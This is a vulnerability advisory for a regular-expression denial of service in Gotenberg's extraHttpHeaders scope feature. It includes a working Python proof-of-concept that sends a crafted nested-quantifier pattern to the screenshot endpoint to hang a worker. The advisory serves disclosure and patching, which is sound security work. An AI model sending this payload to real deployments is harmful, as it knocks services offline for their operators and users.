Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature

Summary

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely.

Details

Gotenberg uses dlclark/regexp2 to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever".

For example, any user with access to the endpoint /forms/chromium/screenshot/url can add a crafted scope pattern to the extraHttpHeaders form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely.

See the dlclark/regexp2 README.md for further considerations.

Tested on the latest container version gotenberg/gotenberg:8.29.1

PoC

The following Python script uses the /forms/chromium/screenshot/url endpoint, testing for differences in responses times between simple and malicious regexes.

#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = [
#    "requests",
# ]
# ///
import json
import time
import requests

HOST = "localhost:3000"
# HOST = "gotenberg.local:3000"

def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30):
    """Send a screenshot request to Gotenberg and measure response time."""
    url = f"http://{host}/forms/chromium/screenshot/url"
    print(f"\n[*] {label}")
    print(f"    extraHttpHeaders: {json.dumps(headers_dict)}")

    start = time.time()
    try:
        r = requests.post(
            url,
            data={
                "url": "http://api.service:3000/snapshot/",
                "extraHttpHeaders": json.dumps(headers_dict),
            },
            files={"a": "b"},
            timeout=timeout,
        )
        elapsed = time.time() - start
        print(f"    Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"    TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)")
    except requests.exceptions.ConnectionError as e:
        elapsed = time.time() - start
        print(f"    CONNECTION ERROR after {elapsed:.2f}s: {e}")


def main():
    # --- Test 1: Baseline ---
    send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope")

    # --- Test 2: Simple scope ---
    send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'")

    # --- Test 3: ReDoS scope ---
    # Classic evil pattern: nested quantifiers on overlapping character class.
    evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!"
    send_request(
        HOST,
        {"X-Test": f"value; scope={evil_pattern}"},
        f"ReDoS scope: '{evil_pattern}'",
        timeout=15,
    )


if __name__ == "__main__":
    main()

Impact

This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the /forms/chromium/screenshot/url endpoint specifing the extraHttpHeaders field are affected.